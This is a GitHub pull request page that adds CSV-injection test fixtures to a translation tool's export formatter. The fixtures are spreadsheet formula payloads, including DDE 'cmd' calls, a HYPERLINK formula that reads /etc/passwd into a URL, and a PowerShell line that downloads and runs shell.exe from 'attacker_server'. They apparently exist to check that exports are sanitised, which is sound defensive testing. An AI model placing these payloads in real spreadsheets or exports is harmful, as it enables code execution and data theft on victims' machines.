Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix/More Payloads for CSV Injection #295

Merged
merged 3 commits into from
Feb 2, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 7 additions & 2 deletions api/src/formatters/fixtures/cleaned.csv
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command)
"HYPERLINK('https://www.google.com', 'Google')",hyperlink function in excel
cmd|' /C notepad'!'A1',to open the notepad application on excel/csv on the target machine (notepad automatic open command)
HYPERLINK(CONCATENATE('http://0.0.0.0:80/123.txt?v='; ('file:///etc/passwd'#$passwd.A1)); 'test-poc'),hyperlink concatenate function in csv
cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command)
SUM(1+9)*cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command)
10+20+cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command)
cmd|' /C notepad'!'A1',to open the calculator application on the target machine (notepad automatic open command)
cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0,wget attacker server shell
"cmd|'/c rundll32.exe \10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1",rundll32 extension
26 changes: 23 additions & 3 deletions api/src/formatters/fixtures/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -28,17 +28,37 @@ export const simpleFormatFixture: IntermediateTranslationFormat = {

export const riskyPayloads: IntermediateTranslationFormat = {
translations: [
{
term: `=HYPERLINK('https://www.google.com', 'Google')`,
translation: 'hyperlink function in excel',
},
{
term: `=HYPERLINK(CONCATENATE('http://0.0.0.0:80/123.txt?v='; ('file:///etc/passwd'#$passwd.A1)); 'test-poc')`,
translation: 'hyperlink concatenate function in csv',
},
{
term: `=cmd|' /C calc'!A0`,
translation: 'to open the calculator application on the target machine (calculator automatic open command)',
},
{
term: `=HYPERLINK('https://www.google.com', 'Google')`,
translation: 'hyperlink function in excel',
term: `@SUM(1+9)*cmd|' /C calc'!A0`,
translation: 'to open the calculator application on the target machine (calculator automatic open command)',
},
{
term: `=10+20+cmd|' /C calc'!A0`,
translation: 'to open the calculator application on the target machine (calculator automatic open command)',
},
{
term: `=cmd|' /C notepad'!'A1'`,
translation: 'to open the notepad application on excel/csv on the target machine (notepad automatic open command)',
translation: 'to open the calculator application on the target machine (notepad automatic open command)',
},
{
term: `=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0`,
translation: 'wget attacker server shell',
},
{
term: `=cmd|'/c rundll32.exe \\10.0.0.1\\3\\2\\1.dll,0'!_xlbgnm.A1`,
translation: 'rundll32 extension',
},
],
};